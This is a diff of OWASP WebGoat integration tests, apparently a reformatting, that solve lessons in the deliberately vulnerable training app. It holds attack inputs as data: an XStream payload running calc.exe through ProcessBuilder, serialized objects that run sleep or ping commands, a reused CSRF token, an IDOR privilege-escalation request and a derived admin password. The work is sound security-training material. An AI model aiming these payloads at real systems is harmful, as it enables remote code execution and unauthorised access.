                 dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
                 dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
+                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+        );
     }
 
     @AfterEach
     public void shutdown() throws IOException {
-    // logout();
+        //logout();
-    login(); // because old cookie got replaced and invalidated
+        login();//because old cookie got replaced and invalidated
         startLesson("CSRF", false);
         checkResults("/csrf");
     }
 
     private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
 
-    // remove any left over html
+        //remove any left over html
         Path webWolfFilePath = Paths.get(webwolfFileDir);
         if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
             Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
         }
 
-    // upload trick html
+        //upload trick html
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -105,25 +98,18 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 .multiPart("file", htmlName, htmlContent.getBytes())
                 .post(webWolfUrl("/WebWolf/fileupload"))
                 .then()
-        .extract()
+                .extract().response().getBody().asString();
-        .response()
-        .getBody()
-        .asString();
     }
 
     private String callTrickHtml(String htmlName) {
-    String result =
+        String result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         result = result.substring(8 + result.indexOf("action=\""));
         result = result.substring(0, result.indexOf("\""));
 
@@ -131,17 +117,14 @@ public class CSRFIntegrationTest extends IntegrationTest {
     }
 
     private void checkAssignment3(String goatURL) {
-    String flag =
+        String flag = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .header("Referer", webWolfUrl("/files/fake.html"))
                 .post(goatURL)
                 .then()
-            .extract()
+                .extract().path("flag").toString();
-            .path("flag")
-            .toString();
 
         Map<String, Object> params = new HashMap<>();
         params.clear();
@@ -155,11 +138,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
         params.clear();
         params.put("reviewText", "test review");
         params.put("stars", "5");
-    params.put(
+        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
-        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
 
-    boolean result =
+        boolean result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
@@ -167,43 +148,37 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 .formParams(params)
                 .post(goatURL)
                 .then()
-            .extract()
+                .extract().path("lessonCompleted");
-            .path("lessonCompleted");
         assertEquals(true, result);
+
     }
 
     private void checkAssignment7(String goatURL) {
         Map<String, Object> params = new HashMap<>();
-    params.put(
+        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
-        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
-            + " best!!",
-        "\"}");
 
-    String flag =
+        String flag = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .header("Referer", webWolfUrl("/files/fake.html"))
                 .contentType(ContentType.TEXT)
-            .body(
+                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
-                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
-                    + " the best!!=\"}")
                 .post(goatURL)
                 .then()
-            .extract()
+                .extract().asString();
-            .asString();
         flag = flag.substring(9 + flag.indexOf("flag is:"));
         flag = flag.substring(0, flag.indexOf("\""));
 
         params.clear();
         params.put("confirmFlagVal", flag);
         checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
+
     }
 
     private void checkAssignment8(String goatURL) {
 
-    // first make sure there is an attack csrf- user
+        //first make sure there is an attack csrf- user
         registerCSRFUser();
 
         Map<String, Object> params = new HashMap<>();
@@ -211,9 +186,8 @@ public class CSRFIntegrationTest extends IntegrationTest {
         params.put("username", "csrf-" + this.getUser());
         params.put("password", "password");
 
-    // login and get the new cookie
+        //login and get the new cookie
-    String newCookie =
+        String newCookie = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
@@ -221,10 +195,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 .params(params)
                 .post(goatURL)
                 .then()
-            .extract()
+                .extract().cookie("JSESSIONID");
-            .cookie("JSESSIONID");
 
-    // select the lesson
+        //select the lesson
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -233,35 +206,32 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 .then()
                 .statusCode(200);
 
-    // click on the assignment
+        //click on the assignment
-    boolean result =
+        boolean result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", newCookie)
                 .post(url("/csrf/login"))
                 .then()
                 .statusCode(200)
-            .extract()
+                .extract().path("lessonCompleted");
-            .path("lessonCompleted");
 
         assertThat(result).isTrue();
 
         login();
         startLesson("CSRF", false);
 
-    Overview[] assignments =
+        Overview[] assignments = RestAssured.given()
-        RestAssured.given()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("/service/lessonoverview.mvc"))
                 .then()
                 .extract()
                 .jsonPath()
                 .getObject("$", Overview[].class);
-    //		assertThat(assignments)
+//		assertThat(assignments)
-    //                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-    //                .extracting(o -> o.solved)
+//                .extracting(o -> o.solved)
-    //                .containsExactly(true);
+//                .containsExactly(true);
     }
 
     @Data
@@ -270,7 +240,9 @@ public class CSRFIntegrationTest extends IntegrationTest {
         boolean solved;
     }
 
-  /** Try to register the new user. Ignore the result. */
+    /**
+     * Try to register the new user. Ignore the result.
+     */
     private void registerCSRFUser() {
 
         RestAssured.given()
@@ -281,5 +253,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
                 .formParam("matchingPassword", "password")
                 .formParam("agree", "agree")
                 .post(url("register.mvc"));
+
     }
+
 }

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -1,13 +1,16 @@
 package org.owasp.webgoat;
 
-import static org.junit.jupiter.api.Assertions.assertTrue;
 
 import io.restassured.RestAssured;
+import org.junit.jupiter.api.Test;
+
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
 
 public class ChallengeIntegrationTest extends IntegrationTest {
 
@@ -23,8 +26,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
                         .get(url("/WebGoat/challenge/logo"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().asByteArray();
-            .asByteArray();
 
         String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
         Map<String, Object> params = new HashMap<>();
@@ -32,6 +34,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
         params.put("username", "admin");
         params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
 
+
         checkAssignment(url("/WebGoat/challenge/1"), params, true);
         String result =
                 RestAssured.given()
@@ -42,14 +45,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
                         .post(url("/WebGoat/challenge/1"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().asString();
-            .asString();
 
         String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
         params.clear();
         params.put("flag", flag);
         checkAssignment(url("/WebGoat/challenge/flag"), params, true);
 
+
         checkResults("/challenge/1");
 
         List<String> capturefFlags =
@@ -60,8 +63,7 @@ public class ChallengeIntegrationTest extends IntegrationTest {
                         .get(url("/WebGoat/scoreboard-data"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().jsonPath()
-            .jsonPath()
                         .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
         assertTrue(capturefFlags.contains("Admin lost password"));
     }
@@ -84,14 +86,14 @@ public class ChallengeIntegrationTest extends IntegrationTest {
                         .post(url("/WebGoat/challenge/5"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().asString();
-            .asString();
 
         String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
         params.clear();
         params.put("flag", flag);
         checkAssignment(url("/WebGoat/challenge/flag"), params, true);
 
+
         checkResults("/challenge/5");
 
         List<String> capturefFlags =
@@ -102,9 +104,9 @@ public class ChallengeIntegrationTest extends IntegrationTest {
                         .get(url("/WebGoat/scoreboard-data"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().jsonPath()
-            .jsonPath()
                         .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
         assertTrue(capturefFlags.contains("Without password"));
     }
+
 }

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -2,7 +2,6 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.fail;
 
-import io.restassured.RestAssured;
 import java.nio.charset.Charset;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
@@ -11,11 +10,15 @@ import java.security.spec.InvalidKeySpecException;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.Map;
+
 import javax.xml.bind.DatatypeConverter;
+
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
 import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
 
+import io.restassured.RestAssured;
+
 public class CryptoIntegrationTest extends IntegrationTest {
 
 	@Test
@@ -43,18 +46,13 @@ public class CryptoIntegrationTest extends IntegrationTest {
 		checkAssignmentDefaults();
 
 		checkResults("/crypto");
+
 	}
 
 	private void checkAssignment2() {
 
-    String basicEncoding =
+		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
-        RestAssured.given()
+				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/encoding/basic"))
-            .then()
-            .extract()
 				.asString();
 		basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
 		String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
@@ -77,25 +75,11 @@ public class CryptoIntegrationTest extends IntegrationTest {
 
 	private void checkAssignment4() throws NoSuchAlgorithmException {
 
-    String md5Hash =
+		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-        RestAssured.given()
+				.get(url("/crypto/hashing/md5")).then().extract().asString();
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/hashing/md5"))
-            .then()
-            .extract()
-            .asString();
 
-    String sha256Hash =
+		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-        RestAssured.given()
+				.get(url("/crypto/hashing/sha256")).then().extract().asString();
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .get(url("/crypto/hashing/sha256"))
-            .then()
-            .extract()
-            .asString();
 
 		String answer_1 = "unknown";
 		String answer_2 = "unknown";
@@ -117,15 +101,13 @@ public class CryptoIntegrationTest extends IntegrationTest {
 
 	private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
     	
-    String privatePEM =
+    	String privatePEM = RestAssured.given()
-        RestAssured.given()
             	.when()
             	.relaxedHTTPSValidation()
             	.cookie("JSESSIONID", getWebGoatCookie())
             	.get(url("/crypto/signing/getprivate"))
             	.then()
-            .extract()
+				.extract().asString();
-            .asString();
 		PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
 
 		RSAPrivateKey privk = (RSAPrivateKey) privateKey;
@@ -140,12 +122,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
 	
 	private void checkAssignmentDefaults() {
     	
-    String text =
+    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
-        new String(
-            Base64.getDecoder()
-                .decode(
-                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
-                        .getBytes(Charset.forName("UTF-8"))));
 
 		Map<String, Object> params = new HashMap<>();
         params.clear();
@@ -153,4 +130,5 @@ public class CryptoIntegrationTest extends IntegrationTest {
         params.put("secretFileName", "default_secret");
         checkAssignment(url("/crypto/secure/defaults"), params, true);
     }
+    
 }

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,11 +1,12 @@
 package org.owasp.webgoat;
 
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
 
 public class DeserializationIntegrationTest extends IntegrationTest {
 
@@ -19,15 +20,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
         params.clear();
 
         if (OS.indexOf("win") > -1) {
-      params.put(
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
-          "token",
-          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
         } else {
-      params.put(
+            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
-          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
         }
         checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
 
         checkResults("/InsecureDeserialization/");
+
     }
+
+
 }

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -2,12 +2,13 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.HashMap;
-import java.util.Map;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
-import org.springframework.util.StringUtils;
+
+import java.util.HashMap;
+import java.util.Map;
+
 
 public class GeneralLessonIntegrationTest extends IntegrationTest {
 
@@ -37,19 +38,12 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
     @Test
     public void httpProxies() {
         startLesson("HttpProxies");
-    MatcherAssert.assertThat(
+        MatcherAssert.assertThat(RestAssured.given()
-        RestAssured.given()
+                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
                 .contentType(ContentType.JSON)
                 .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
                 .then()
-            .statusCode(200)
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
 
         checkResults("/HttpProxies/");
     }
@@ -59,38 +53,28 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
         startLesson("CIA");
         Map<String, Object> params = new HashMap<>();
         params.clear();
-    params.put(
+        params.put("question_0_solution", "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
-        "question_0_solution",
+        params.put("question_1_solution", "Solution 1: By changing the names and emails of one or more users stored in a database.");
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+        params.put("question_2_solution", "Solution 4: By launching a denial of service attack on the servers.");
-            + " website.");
+        params.put("question_3_solution", "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    params.put(
-        "question_1_solution",
-        "Solution 1: By changing the names and emails of one or more users stored in a database.");
-    params.put(
-        "question_2_solution",
-        "Solution 4: By launching a denial of service attack on the servers.");
-    params.put(
-        "question_3_solution",
-        "Solution 2: The systems security is compromised even if only one goal is harmed.");
         checkAssignment(url("/WebGoat/cia/quiz"), params, true);
         checkResults("/cia/");
+
     }
     
     @Test
     public void vulnerableComponents() {
-    if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
+    	String solution = "<contact class='dynamic-proxy'>\n" + 
-      String solution =
+    			"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
-          "<contact class='dynamic-proxy'>\n"
+    			"  <handler class='java.beans.EventHandler'>\n" + 
-              + "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+    			"    <target class='java.lang.ProcessBuilder'>\n" + 
-              + "  <handler class='java.beans.EventHandler'>\n"
+    			"      <command>\n" + 
-              + "    <target class='java.lang.ProcessBuilder'>\n"
+    			"        <string>calc.exe</string>\n" + 
-              + "      <command>\n"
+    			"      </command>\n" + 
-              + "        <string>calc.exe</string>\n"
+    			"    </target>\n" + 
-              + "      </command>\n"
+    			"    <action>start</action>\n" + 
-              + "    </target>\n"
+    			"  </handler>\n" + 
-              + "    <action>start</action>\n"
+    			"</contact>";
-              + "  </handler>\n"
-              + "</contact>";
     	startLesson("VulnerableComponents");
         Map<String, Object> params = new HashMap<>();
         params.clear();
@@ -98,7 +82,6 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
         checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
         checkResults("/VulnerableComponents/");
     }
-  }
     
     @Test
     public void insecureLogin() {
@@ -131,20 +114,10 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
         checkResults("/auth-bypass/");
 
         startLesson("HttpProxies");
-    MatcherAssert.assertThat(
+        MatcherAssert.assertThat(RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()).header("x-request-intercepted", "true")
-        RestAssured.given()
-            .when()
-            .relaxedHTTPSValidation()
-            .cookie("JSESSIONID", getWebGoatCookie())
-            .header("x-request-intercepted", "true")
                 .contentType(ContentType.JSON)
-            .get(
+                .get(url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily")).then()
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+                .statusCode(200).extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .then()
-            .statusCode(200)
-            .extract()
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
         checkResults("/HttpProxies/");
     }
 
@@ -168,8 +141,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
                         .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("output");
-            .path("output");
         String secretNumber = result.substring("phoneHome Response is ".length());
 
         params.clear();
@@ -196,6 +168,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
         params.put("userId", "12309746");
         checkAssignment(url("/auth-bypass/verify-account"), params, true);
         checkResults("/auth-bypass/");
+
     }
     
     @Test
@@ -207,5 +180,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
         params.put("param2", "Main");
         checkAssignment(url("/lesson-template/sample-attack"), params, true);
         checkResults("/lesson-template/");
+    	
     }
+    
 }

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -1,14 +1,13 @@
 package org.owasp.webgoat;
 
+
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
 import java.io.IOException;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
-import lombok.SneakyThrows;
+
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
@@ -16,6 +15,10 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
 
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import lombok.SneakyThrows;
+
 public class IDORIntegrationTest extends IntegrationTest {
 	
 	@BeforeEach
@@ -27,7 +30,9 @@ public class IDORIntegrationTest extends IntegrationTest {
     @TestFactory
     Iterable<DynamicTest> testIDORLesson() {
     	return Arrays.asList(
-        dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
+    			dynamicTest("login",()-> loginIDOR()),
+    			dynamicTest("profile", () -> profile())
+    			);
     }
 	
     @AfterEach
@@ -42,7 +47,9 @@ public class IDORIntegrationTest extends IntegrationTest {
         params.put("username", "tom");
         params.put("password", "cat");
        
+    	
         checkAssignment(url("/WebGoat/IDOR/login"), params, true);
+        	
     }
     
     private void profile() {
@@ -54,9 +61,7 @@ public class IDORIntegrationTest extends IntegrationTest {
                         .get(url("/WebGoat/IDOR/profile"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("userId"), CoreMatchers.is("2342384"));
-            .path("userId"),
-        CoreMatchers.is("2342384"));
     	Map<String, Object> params = new HashMap<>();
     	params.clear();
         params.put("attributes", "userId,role");
@@ -73,24 +78,21 @@ public class IDORIntegrationTest extends IntegrationTest {
                         .get(url("/WebGoat/IDOR/profile/2342388"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
-            .path("lessonCompleted"),
-        CoreMatchers.is(true));
         
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
                         .relaxedHTTPSValidation()
                         .cookie("JSESSIONID", getWebGoatCookie())    
-            .contentType(ContentType.JSON) // part of the lesson
+                        .contentType(ContentType.JSON) //part of the lesson
-            .body(
+                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
-                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
-                    + " \"userId\":\"2342388\"}")
                         .put(url("/WebGoat/IDOR/profile/2342388"))
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
-            .path("lessonCompleted"),
+        
-        CoreMatchers.is(true));
+        
     }
+    
 }

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -1,32 +1,32 @@
 package org.owasp.webgoat;
 
-import static io.restassured.RestAssured.given;
-
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import java.util.Map;
-import java.util.Objects;
 import lombok.Getter;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 
+import java.util.Map;
+import java.util.Objects;
+
+import static io.restassured.RestAssured.given;
+
 public abstract class IntegrationTest {
 
     private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
-
     @Getter
     private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-
     private static boolean useSSL = false;
-  private static String webgoatUrl =
+    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-      (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
+    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-  private static String webWolfUrl =
+    @Getter
-      (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
+    private String webGoatCookie;
-  @Getter private String webGoatCookie;
+    @Getter
-  @Getter private String webWolfCookie;
+    private String webWolfCookie;
-  @Getter private final String user = "webgoat";
+    @Getter
+    private String user = "webgoat";
 
     protected String url(String url) {
         url = url.replaceFirst("/WebGoat/", "");
@@ -44,21 +44,17 @@ public abstract class IntegrationTest {
 
     @BeforeEach
     public void login() {
-    String location =
+        String location = given()
-        given()
                 .when()
                 .relaxedHTTPSValidation()
                 .formParam("username", user)
                 .formParam("password", "password")
-            .post(url("login"))
+                .post(url("login")).then()
-            .then()
                 .cookie("JSESSIONID")
                 .statusCode(302)
-            .extract()
+                .extract().header("Location");
-            .header("Location");
         if (location.endsWith("?error")) {
-      webGoatCookie =
+            webGoatCookie = RestAssured.given()
-          RestAssured.given()
                     .when()
                     .relaxedHTTPSValidation()
                     .formParam("username", user)
@@ -72,22 +68,18 @@ public abstract class IntegrationTest {
                     .extract()
                     .cookie("JSESSIONID");
         } else {
-      webGoatCookie =
+            webGoatCookie = given()
-          given()
                     .when()
                     .relaxedHTTPSValidation()
                     .formParam("username", user)
                     .formParam("password", "password")
-              .post(url("login"))
+                    .post(url("login")).then()
-              .then()
                     .cookie("JSESSIONID")
                     .statusCode(302)
-              .extract()
+                    .extract().cookie("JSESSIONID");
-              .cookie("JSESSIONID");
         }
 
-    webWolfCookie =
+        webWolfCookie = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .formParam("username", user)
@@ -102,7 +94,12 @@ public abstract class IntegrationTest {
 
     @AfterEach
     public void logout() {
-    RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .get(url("logout"))
+                .then()
+                .statusCode(200);
     }
 
     public void startLesson(String lessonName) {
@@ -139,9 +136,7 @@ public abstract class IntegrationTest {
                         .post(url)
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
     }
 
     public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
@@ -154,46 +149,36 @@ public abstract class IntegrationTest {
                         .put(url)
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
     }
 
-  // TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
+    //TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
-  // only required to be in the same package)
     public void checkResults(String prefix) {
         checkResults();
 
-    MatcherAssert.assertThat(
+        MatcherAssert.assertThat(RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("service/lessonoverview.mvc"))
                 .then()
-            .statusCode(200)
+                .statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
-            .extract()
+
-            .jsonPath()
-            .getList("assignment.path"),
-        CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
     }
 
     public void checkResults() {
-    var result =
+        var result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("service/lessonoverview.mvc"))
                 .andReturn();
 
-    MatcherAssert.assertThat(
+        MatcherAssert.assertThat(result.then()
-        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+                .statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
-        CoreMatchers.everyItem(CoreMatchers.is(true)));
     }
 
-  public void checkAssignment(
+    public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
-      String url, ContentType contentType, String body, boolean expectedResult) {
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
@@ -204,9 +189,7 @@ public abstract class IntegrationTest {
                         .post(url)
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
     }
 
     public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
@@ -219,23 +202,17 @@ public abstract class IntegrationTest {
                         .get(url)
                         .then()
                         .statusCode(200)
-            .extract()
+                        .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
-            .path("lessonCompleted"),
-        CoreMatchers.is(expectedResult));
     }
 
     public String getWebWolfFileServerLocation() {
-    String result =
+        String result = RestAssured.given()
-        RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
                 .get(webWolfUrl("/file-server-location"))
                 .then()
-            .extract()
+                .extract().response().getBody().asString();
-            .response()
-            .getBody()
-            .asString();
         result = result.replace("%20", " ");
         return result;
     }
@@ -247,9 +224,8 @@ public abstract class IntegrationTest {
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .get(url("/server-directory"))
                 .then()
-        .extract()
+                .extract().response().getBody().asString();
-        .response()
-        .getBody()
-        .asString();
     }
+
 }
+

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -1,16 +1,5 @@
 package org.owasp.webgoat;
 
-import com.fasterxml.jackson.databind.JsonNode;
-import com.fasterxml.jackson.databind.ObjectMapper;
-import com.fasterxml.jackson.databind.node.ObjectNode;
-import io.jsonwebtoken.Header;
-import io.jsonwebtoken.JwsHeader;
-import io.jsonwebtoken.Jwt;
-import io.jsonwebtoken.JwtException;
